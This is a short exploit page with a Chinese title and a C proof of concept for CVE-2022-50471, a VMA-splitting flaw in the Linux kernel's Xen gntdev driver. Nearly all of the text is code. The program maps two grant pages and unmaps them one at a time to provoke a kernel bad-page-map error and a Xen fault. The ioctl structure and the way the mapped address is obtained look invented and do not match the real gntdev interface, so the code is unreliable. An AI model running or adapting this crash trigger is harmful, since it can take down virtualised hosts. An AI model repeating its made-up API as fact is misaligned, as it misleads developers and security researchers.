CVE-2022-50471 Linux内核xen/gntdev驱动VMA拆分漏洞

/* CVE-2022-50471 PoC - gntdev VMA splitting trigger * This PoC demonstrates the vulnerability by creating a gntdev mapping * with two grant pages and performing munmap operations to trigger * the bad page map error and Xen GPF. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> // Xen gntdev interface structures #define GNTDEV_MAGIC 'G' #define IOCTL_GNTDEV_MAP_GRANT_REF _IOWR(GNTDEV_MAGIC, 1, struct ioctl_gntdev_map_grant_ref) struct ioctl_gntdev_map_grant_ref { unsigned int count; int domid; unsigned int refs[2]; // Two grant references unsigned int notify_offset; int flags; int map_fd; unsigned long addr; }; int main(int argc, char *argv[]) { int fd; struct ioctl_gntdev_map_grant_ref map_req; void *mapped_addr; unsigned long page_size = sysconf(_SC_PAGESIZE); printf("CVE-2022-50471 PoC - gntdev VMA splitting\n"); // Open gntdev device fd = open("/dev/xen/gntdev", O_RDWR); if (fd < 0) { perror("Failed to open /dev/xen/gntdev"); return 1; } // Setup map request with 2 grant pages memset(&map_req, 0, sizeof(map_req)); map_req.count = 2; map_req.domid = 0; // Same domain for testing map_req.refs[0] = 1; // First grant reference map_req.refs[1] = 2; // Second grant reference map_req.notify_offset = 0; map_req.flags = 1; // GNTDEV_MAP_FLAG_READONLY // Map the grant references if (ioctl(fd, IOCTL_GNTDEV_MAP_GRANT_REF, &map_req) < 0) { perror("ioctl MAP_GRANT_REF failed"); close(fd); return 1; } mapped_addr = (void *)map_req.addr; printf("Mapped at address: %p\n", mapped_addr); // Step 1: munmap first page - triggers bad pte error printf("Unmapping first page...\n"); munmap(mapped_addr, page_size); // Step 2: munmap second page - triggers similar error and Xen GPF printf("Unmapping second page...\n"); munmap((void *)((unsigned long)mapped_addr + page_size), page_size); printf("PoC execution complete. Check dmesg for BUG: Bad page map\n"); close(fd); return 0; }